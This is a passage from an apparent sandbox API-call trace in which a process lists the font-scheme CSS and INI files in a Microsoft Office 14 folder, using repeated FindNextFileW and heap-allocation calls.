dwReserved1=0x0, cFileName="SCHEME26.CSS", cAlternateFileName="")) returned 1 [0069.615] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.615] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefa6f00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefa6f00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1e088, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME27.CSS", cAlternateFileName="")) returned 1 [0069.615] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.615] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefa6f00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefa6f00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1d754, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME28.CSS", cAlternateFileName="")) returned 1 [0069.615] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.615] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb66e800, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb66e800, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1eb4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME29.CSS", cAlternateFileName="")) returned 1 [0069.615] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.615] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa35bb00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa35bb00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1d522, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME30.CSS", cAlternateFileName="")) returned 1 [0069.615] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.615] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff7b2600, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff7b2600, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1d652, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME31.CSS", cAlternateFileName="")) returned 1 [0069.615] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.615] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43fda00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x43fda00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1eb20, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME32.CSS", cAlternateFileName="")) returned 1 [0069.615] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.615] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8755100, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8755100, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1dcb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME33.CSS", cAlternateFileName="")) returned 1 [0069.615] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.615] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9eebe900, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9eebe900, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1d124, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME34.CSS", cAlternateFileName="")) returned 1 [0069.615] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.615] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ce4c100, ftCreationTime.dwHighDateTime=0x1c69a52, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ce4c100, ftLastWriteTime.dwHighDateTime=0x1c69a52, nFileSizeHigh=0x0, nFileSizeLow=0x202f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME35.CSS", cAlternateFileName="")) returned 1 [0069.615] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.615] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94315400, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94315400, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1e12c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME36.CSS", cAlternateFileName="")) returned 1 [0069.616] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.616] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ad35f00, ftCreationTime.dwHighDateTime=0x1c69a52, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ad35f00, ftLastWriteTime.dwHighDateTime=0x1c69a52, nFileSizeHigh=0x0, nFileSizeLow=0x205bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME37.CSS", cAlternateFileName="")) returned 1 [0069.616] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.616] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8380de00, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8380de00, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1f07c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME38.CSS", cAlternateFileName="")) returned 1 [0069.616] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.616] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7532c200, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7532c200, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1e44c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME39.CSS", cAlternateFileName="")) returned 1 [0069.616] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.616] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cda8700, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cda8700, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1eb4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME40.CSS", cAlternateFileName="")) returned 1 [0069.616] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.616] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x621ff200, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x621ff200, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1e958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME41.CSS", cAlternateFileName="")) returned 1 [0069.616] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.616] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56343000, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56343000, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1d920, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME42.CSS", cAlternateFileName="")) returned 1 [0069.616] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.616] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47e61400, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47e61400, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1e714, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME43.CSS", cAlternateFileName="")) returned 1 [0069.616] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.616] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37359e00, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37359e00, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1ecfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME44.CSS", cAlternateFileName="")) returned 1 [0069.616] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.616] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c7b0900, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c7b0900, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1e6a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME45.CSS", cAlternateFileName="")) returned 1 [0069.616] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.616] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cfbc000, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1cfbc000, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1fdb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME46.CSS", cAlternateFileName="")) returned 1 [0069.616] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.617] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a38500, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a38500, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1f190, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME47.CSS", cAlternateFileName="")) returned 1 [0069.617] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.617] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7869600, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7869600, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1f984, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME48.CSS", cAlternateFileName="")) returned 1 [0069.617] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.617] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa69a700, ftCreationTime.dwHighDateTime=0x1ca1577, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa69a700, ftLastWriteTime.dwHighDateTime=0x1ca1577, nFileSizeHigh=0x0, nFileSizeLow=0x1da6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME49.CSS", cAlternateFileName="")) returned 1 [0069.617] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.617] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0e03f00, ftCreationTime.dwHighDateTime=0x1ca1577, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0e03f00, ftLastWriteTime.dwHighDateTime=0x1ca1577, nFileSizeHigh=0x0, nFileSizeLow=0x1f018, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME50.CSS", cAlternateFileName="")) returned 1 [0069.617] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.617] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1922be00, ftCreationTime.dwHighDateTime=0x1c69a7b, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1922be00, ftLastWriteTime.dwHighDateTime=0x1c69a7b, nFileSizeHigh=0x0, nFileSizeLow=0x1df68, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME51.CSS", cAlternateFileName="")) returned 1 [0069.617] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.618] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1ce8a00, ftCreationTime.dwHighDateTime=0x1c69651, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1ce8a00, ftLastWriteTime.dwHighDateTime=0x1c69651, nFileSizeHigh=0x0, nFileSizeLow=0x1e254, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME52.CSS", cAlternateFileName="")) returned 1 [0069.618] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.618] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74d95100, ftCreationTime.dwHighDateTime=0x1c69a53, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74d95100, ftLastWriteTime.dwHighDateTime=0x1c69a53, nFileSizeHigh=0x0, nFileSizeLow=0x1e6a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME53.CSS", cAlternateFileName="")) returned 1 [0069.618] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.618] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67c1eb00, ftCreationTime.dwHighDateTime=0x1c69597, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67c1eb00, ftLastWriteTime.dwHighDateTime=0x1c69597, nFileSizeHigh=0x0, nFileSizeLow=0x1f064, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME54.CSS", cAlternateFileName="")) returned 1 [0069.618] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.618] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f2a2e00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f2a2e00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1e114, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME55.CSS", cAlternateFileName="")) returned 1 [0069.618] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.618] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f2a2e00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f2a2e00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1e114, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME55.CSS", cAlternateFileName="")) returned 0 [0069.618] GetLastError () returned 0x12 [0069.618] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d120 [0069.618] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.618] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba28770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.618] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c22e700, ftCreationTime.dwHighDateTime=0x1ca6669, ftLastAccessTime.dwLowDateTime=0x1ba28770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c22e700, ftLastWriteTime.dwHighDateTime=0x1ca6669, nFileSizeHigh=0x0, nFileSizeLow=0xcb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="FONTSCHM.INI", cAlternateFileName="")) returned 1 [0069.618] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47994900, ftCreationTime.dwHighDateTime=0x1ca1577, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47994900, ftLastWriteTime.dwHighDateTime=0x1ca1577, nFileSizeHigh=0x0, nFileSizeLow=0x1eea6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME01.CSS", cAlternateFileName="")) returned 1 [0069.618] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b96a700, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b96a700, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1fbbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME02.CSS", cAlternateFileName="")) returned 1 [0069.618] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a657a00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a657a00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1f024, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME03.CSS", cAlternateFileName="")) returned 1 [0069.618] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29344d00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x29344d00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1f4e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME04.CSS", cAlternateFileName="")) returned 1 [0069.618] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28032000, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x28032000, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1edba, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME05.CSS", cAlternateFileName="")) returned 1 [0069.618] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28032000, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x28032000, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1f2da, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME06.CSS", cAlternateFileName="")) returned 1 [0069.618] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26d1f300, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26d1f300, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1ff56, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME07.CSS", cAlternateFileName="")) returned 1 [0069.618] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25a0c600, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25a0c600, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1f998, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME08.CSS", cAlternateFileName="")) returned 1 [0069.618] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25a0c600, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25a0c600, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x20444, dwReserved0=0x0, dwReserved1=0x0, 